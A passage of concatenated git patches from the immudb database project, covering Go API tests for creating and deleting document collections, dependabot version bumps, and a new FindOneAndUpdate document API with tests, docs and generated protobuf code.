s.expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() + collection := actions.CreateCollectionWithNameAndMultipleIndexKeys(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") @@ -221,28 +119,10 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithIndex } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { - payloadModel := `{ - "name": 123 - }` - var payload map[string]interface{} - json.Unmarshal([]byte(payloadModel), &payload) - payload["name"] = uuid.New() - - s.expect.PUT("/collections/create"). - WithHeader("grpc-metadata-sessionid", s.token). - WithJSON(payload). - Expect(). - Status(http.StatusOK).JSON().Object().NotEmpty() - - collection := s.expect.GET("/collections/get"). - WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", payload["name"]). - Expect(). - Status(http.StatusOK). - JSON().Object() + collection := actions.CreateCollectionWithIntegerName(s.expect, s.token, s.collection_name) collection.Keys().ContainsOnly("collection") - collection.Value("collection").Object().Value("name").IsEqual(payload["name"]) + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidIndexKey() { diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go new file mode 100644 index 0000000000..3deba9c479 --- /dev/null +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -0,0 +1,147 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "fmt" + "net/http" + "testing" + + "github.com/codenotary/immudb/test/documents_storage_tests/documents_tests/actions" + "github.com/gavv/httpexpect/v2" + "github.com/google/uuid" + "github.com/stretchr/testify/suite" +) + +type DeleteCollectionsTestSuite struct { + suite.Suite + expect *httpexpect.Expect + token string + collection_name string +} + +func (s *DeleteCollectionsTestSuite) SetupTest() { + s.expect, s.token = actions.OpenSession(s.T()) + s.collection_name = uuid.New().String() +} + +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { + collection := actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + + s.expect.DELETE("/collections/delete"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusOK). + JSON().Object().Empty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusInternalServerError) +} + +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneIndexKey() { + collection := actions.CreateCollectionWithNameAndOneIndexKey(s.expect, s.token, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date") + collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") + + s.expect.DELETE("/collections/delete"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusOK). + JSON().Object().Empty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusInternalServerError) +} + +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleIndexKeys() { + collection := actions.CreateCollectionWithNameAndMultipleIndexKeys(s.expect, s.token, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + collection.Value("collection").Object().Value("indexKeys").Object().Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") + collection.Value("collection").Object().Value("indexKeys").Object().Value("_id").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("birth_date").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("first_name").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("last_name").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("gender").Object().Value("type").IsEqual("STRING") + collection.Value("collection").Object().Value("indexKeys").Object().Value("hire_date").Object().Value("type").IsEqual("STRING") + + s.expect.DELETE("/collections/delete"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusOK). + JSON().Object().Empty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusInternalServerError) +} + +func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithIntegerName() { + collection := actions.CreateCollectionWithIntegerName(s.expect, s.token, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) + + s.expect.DELETE("/collections/delete"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusOK). + JSON().Object().Empty() + + s.expect.GET("/collections/get"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusInternalServerError) +} + +func (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() { + error := s.expect.DELETE("/collections/delete"). + WithHeader("grpc-metadata-sessionid", s.token). + WithQuery("name", s.collection_name). + Expect(). + Status(http.StatusInternalServerError). + JSON().Object() + + error.Keys().ContainsAll("code", "error", "message") + error.Value("code").IsEqual(2) + error.Value("error").IsEqual(fmt.Sprintf("table does not exist (%s)", s.collection_name)) + error.Value("message").IsEqual(fmt.Sprintf("table does not exist (%s)", s.collection_name)) +} + +func TestDeleteCollectionsTestSuite(t *testing.T) { + suite.Run(t, new(DeleteCollectionsTestSuite)) +} From 10b99a3b41c965ffdcc728aeaeea81a9be40f6e0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 25 Apr 2023 18:59:55 +0000 Subject: [PATCH 0448/1062] chore(deps): bump github.com/rs/xid from 1.3.0 to 1.5.0 Bumps [github.com/rs/xid](https://github.com/rs/xid) from 1.3.0 to 1.5.0. - [Release notes](https://github.com/rs/xid/releases) - [Commits](https://github.com/rs/xid/compare/v1.3.0...v1.5.0) --- updated-dependencies: - dependency-name: github.com/rs/xid dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index d9e233b4cf..d59f3c9838 100644 --- a/go.mod +++ b/go.mod @@ -26,7 +26,7 @@ require ( github.com/pseudomuto/protoc-gen-doc v1.4.1 github.com/rakyll/statik v0.1.7 github.com/rogpeppe/go-internal v1.9.0 - github.com/rs/xid v1.3.0 + github.com/rs/xid v1.5.0 github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.6.1 github.com/spf13/pflag v1.0.5 diff --git a/go.sum b/go.sum index 89fdc9a017..18e813780b 100644 --- a/go.sum +++ b/go.sum @@ -930,8 +930,8 @@ github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTE github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= -github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= -github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= From 693c963e2706755aba4fd18d904f978191d3cb50 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 25 Apr 2023 19:00:00 +0000 Subject: [PATCH 0449/1062] chore(deps): bump golang.org/x/net from 0.8.0 to 0.9.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.8.0 to 0.9.0. - [Release notes](https://github.com/golang/net/releases) - [Commits](https://github.com/golang/net/compare/v0.8.0...v0.9.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 8 ++++---- go.sum | 12 ++++++++---- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/go.mod b/go.mod index d59f3c9838..c00dba3050 100644 --- a/go.mod +++ b/go.mod @@ -34,8 +34,8 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.7.0 - golang.org/x/net v0.8.0 - golang.org/x/sys v0.6.0 + golang.org/x/net v0.9.0 + golang.org/x/sys v0.7.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f google.golang.org/grpc v1.54.0 @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.8.0 // indirect - golang.org/x/term v0.6.0 // indirect - golang.org/x/text v0.8.0 // indirect + golang.org/x/term v0.7.0 // indirect + golang.org/x/text v0.9.0 // indirect golang.org/x/tools v0.6.0 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect diff --git a/go.sum b/go.sum index 18e813780b..f2ad9afb40 100644 --- a/go.sum +++ b/go.sum @@ -1169,8 +1169,9 @@ golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.9.0 h1:aWJ/m6xSmxWBx+V0XRHTlrYrPG56jKsLdTFmsSsCzOM= +golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1309,8 +1310,9 @@ golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU= +golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -1318,8 +1320,9 @@ golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= -golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.7.0 h1:BEvjmm5fURWqcfbSKTdpkDXYBrUS1c0m8agp14W48vQ= +golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1334,8 +1337,9 @@ golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.8.0 h1:57P1ETyNKtuIjB4SRd15iJxuhj8Gc416Y78H3qgMh68= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From c5970aadfea471effdc7560fbf6d4206216ce3d4 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 27 Apr 2023 14:18:12 +0530 Subject: [PATCH 0450/1062] chore: add DocumentFindOneAndUpdate api --- embedded/document/document.go | 7 + embedded/document/document_test.go | 32 + embedded/document/engine.go | 80 ++- embedded/document/engine_test.go | 83 +++ pkg/api/documentschema/docs.md | 36 ++ pkg/api/documentschema/documentschema.pb.go | 588 ++++++++++++------ .../documentschema/documentschema.pb.gw.go | 81 +++ pkg/api/documentschema/documentschema.proto | 23 + .../documentschema.swagger.json | 62 ++ .../documentschema/documentschema_grpc.pb.go | 36 ++ pkg/database/document_database.go | 23 + pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 13 + 13 files changed, 858 insertions(+), 210 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index c72acbfaf6..d26c295051 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -19,6 +19,7 @@ import ( "errors" "fmt" + "github.com/golang/protobuf/proto" "github.com/tidwall/gjson" "google.golang.org/protobuf/types/known/structpb" ) @@ -99,3 +100,9 @@ func (d *Document) Get(field string) interface{} { } return nil } + +// mergeDocumentStructs merges the given document struct with the given document struct to update +func mergeDocumentStructs(doc *structpb.Struct, toUpdateDoc *structpb.Struct) error { + proto.Merge(doc, toUpdateDoc) + return nil +} diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go index 2e4d1ed47b..574c242bcf 100644 --- a/embedded/document/document_test.go +++ b/embedded/document/document_test.go @@ -89,3 +89,35 @@ func TestDocument(t *testing.T) { require.Equal(t, r1.Bytes(), r2.Bytes()) }) } + +func TestMergeDocumentStructs(t *testing.T) { + // Create the initial struct + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, + }, + } + // Create the struct to merge in + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + "city": {Kind: &structpb.Value_StringValue{StringValue: "New York"}}, + }, + } + // Call the mergeDocumentStructs function + err := mergeDocumentStructs(doc, toUpdateDoc) + if err != nil { + t.Fatalf("mergeDocumentStructs failed with error: %v", err) + } + // Check that the values have been updated correctly + if doc.Fields["name"].GetStringValue() != "Alice" { + t.Errorf("Expected name to be unchanged, got %v", doc.Fields["name"].GetStringValue()) + } + if doc.Fields["age"].GetNumberValue() != 31 { + t.Errorf("Expected age to be updated to 31, got %v", doc.Fields["age"].GetNumberValue()) + } + if doc.Fields["city"].GetStringValue() != "New York" { + t.Errorf("Expected city to be added, got %v", doc.Fields["city"].GetStringValue()) + } +} diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0db29b6065..041d91b45a 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + "google.golang.org/protobuf/types/known/structpb" ) @@ -32,9 +33,13 @@ const ( DocumentBLOBField = "_doc" ) -var ErrIllegalArguments = store.ErrIllegalArguments -var ErrCollectionDoesNotExist = errors.New("collection does not exist") -var ErrMaxLengthExceeded = errors.New("max length exceeded") +var ( + ErrIllegalArguments = store.ErrIllegalArguments + ErrCollectionDoesNotExist = errors.New("collection does not exist") + ErrMaxLengthExceeded = errors.New("max length exceeded") + ErrMultipleDocumentsFound = errors.New("multiple documents found") + ErrDocumentNotFound = errors.New("document not found") +) // Schema to ValueType mapping var ( @@ -442,7 +447,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie var results []*structpb.Struct - for l := 1; ; l++ { + for { row, err := r.Read(ctx) if err == sql.ErrNoMoreRows { break @@ -719,9 +724,10 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec } func (e *Engine) getDocumentID(doc *structpb.Struct, isInsert bool) (DocumentID, error) { - provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] var docID DocumentID var err error + + provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] if docIDProvisioned { docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) if err != nil { @@ -852,3 +858,67 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, return } + +func (e *Engine) FindOneAndUpdate(ctx context.Context, collectionName string, queries []*Query, docToUpdate *structpb.Struct) (txID, rev uint64, err error) { + exp, err := e.generateExp(ctx, collectionName, queries) + if err != nil { + return 0, 0, err + } + + query := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, + collectionName, + exp, + nil, + nil, + ) + + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + if err != nil { + return 0, 0, err + } + defer tx.Cancel() + + r, err := e.sqlEngine.QueryPreparedStmt(ctx, tx, query, nil) + if err != nil { + return 0, 0, err + } + defer r.Close() + + var results []*structpb.Struct + for { + row, err := r.Read(ctx) + if err == sql.ErrNoMoreRows { + break + } + if err != nil { + return 0, 0, err + } + + docBytes := row.ValuesByPosition[0].RawValue().([]byte) + + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return 0, 0, err + } + + results = append(results, doc) + } + + if len(results) == 0 { + return 0, 0, ErrDocumentNotFound + } + + if len(results) > 1 { + return 0, 0, ErrMultipleDocumentsFound + } + + // merge the document fields + doc := results[0] + mergeDocumentStructs(doc, docToUpdate) + + // update the document + _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, false) + return +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 65f1ce8087..84e894cfea 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -17,6 +17,7 @@ package document import ( "context" + "errors" "fmt" "testing" @@ -833,3 +834,85 @@ func TestBulkInsert(t *testing.T) { require.Equal(t, float64(i+1), doc.Fields["price"].GetNumberValue()) } } + +func newQuery(field string, op int, value *structpb.Value) *Query { + return &Query{ + Field: field, + Operator: op, + Value: value, + } +} + +func TestFindOneAndUpdate(t *testing.T) { + // Create a new engine instance + ctx := context.Background() + e := makeEngine(t) + + // create collection + // Create a test collection with a single document + collectionName := "test_collection" + err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "name": {Type: sql.VarcharType}, + "age": {Type: sql.Float64Type}, + }) + require.NoError(t, err) + + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, + }, + } + docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, true) + if err != nil { + t.Fatalf("Failed to insert test document: %v", err) + } + + // Prepare a query to find the document by name + queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Alice"}, + })} + + // Prepare a document to update the age field + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + }, + } + + // Call the FindOneAndUpdate method + txID, rev, err := e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) + + // Check that the method returned the expected values + if err != nil { + t.Errorf("FindOneAndUpdate returned error: %v", err) + } + if txID == 0 { + t.Error("FindOneAndUpdate returned zero txID") + } + if rev == 0 { + t.Error("FindOneAndUpdate returned zero rev") + } + + // Verify that the document was updated + updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) + if err != nil { + t.Fatalf("Failed to find updated document: %v", err) + } + updatedDoc := updatedDocs[0] + if updatedDoc.Fields["age"].GetNumberValue() != 31 { + t.Errorf("Expected age to be updated to 31, got %v", updatedDoc.Fields["age"].GetNumberValue()) + } + + fmt.Println() + require.Equal(t, docID.EncodeToHexString(), updatedDoc.Fields[DocumentIDField].GetStringValue()) + + // Test error case when no documents are found + queries = []*Query{newQuery("name", sql.EQ, &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "Bob"}, + })} + _, _, err = e.FindOneAndUpdate(ctx, collectionName, queries, toUpdateDoc) + if !errors.Is(err, ErrDocumentNotFound) { + t.Errorf("Expected ErrDocumentNotFound, got %v", err) + } +} diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 0d314b1742..f7ce0aaa95 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -21,6 +21,8 @@ - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) + - [DocumentFindOneAndUpdateRequest](#immudb.documentschema.DocumentFindOneAndUpdateRequest) + - [DocumentFindOneAndUpdateResponse](#immudb.documentschema.DocumentFindOneAndUpdateResponse) - [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) - [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) @@ -308,6 +310,39 @@ + + +### DocumentFindOneAndUpdateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [DocumentQuery](#immudb.documentschema.DocumentQuery) | repeated | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | + + + + + + + + +### DocumentFindOneAndUpdateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| transactionId | [uint64](#uint64) | | | +| revision | [uint64](#uint64) | | | + + + + + + ### DocumentInsertManyRequest @@ -578,6 +613,7 @@ | CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | | CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | | DocumentInsertMany | [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) | | +| DocumentFindOneAndUpdate | [DocumentFindOneAndUpdateRequest](#immudb.documentschema.DocumentFindOneAndUpdateRequest) | [DocumentFindOneAndUpdateResponse](#immudb.documentschema.DocumentFindOneAndUpdateResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index f3c4365f18..f0e92b1d3d 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -1678,6 +1678,124 @@ func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { return 0 } +type DocumentFindOneAndUpdateRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentFindOneAndUpdateRequest) Reset() { + *x = DocumentFindOneAndUpdateRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentschema_proto_msgTypes[27] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentFindOneAndUpdateRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentFindOneAndUpdateRequest) ProtoMessage() {} + +func (x *DocumentFindOneAndUpdateRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentschema_proto_msgTypes[27] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use 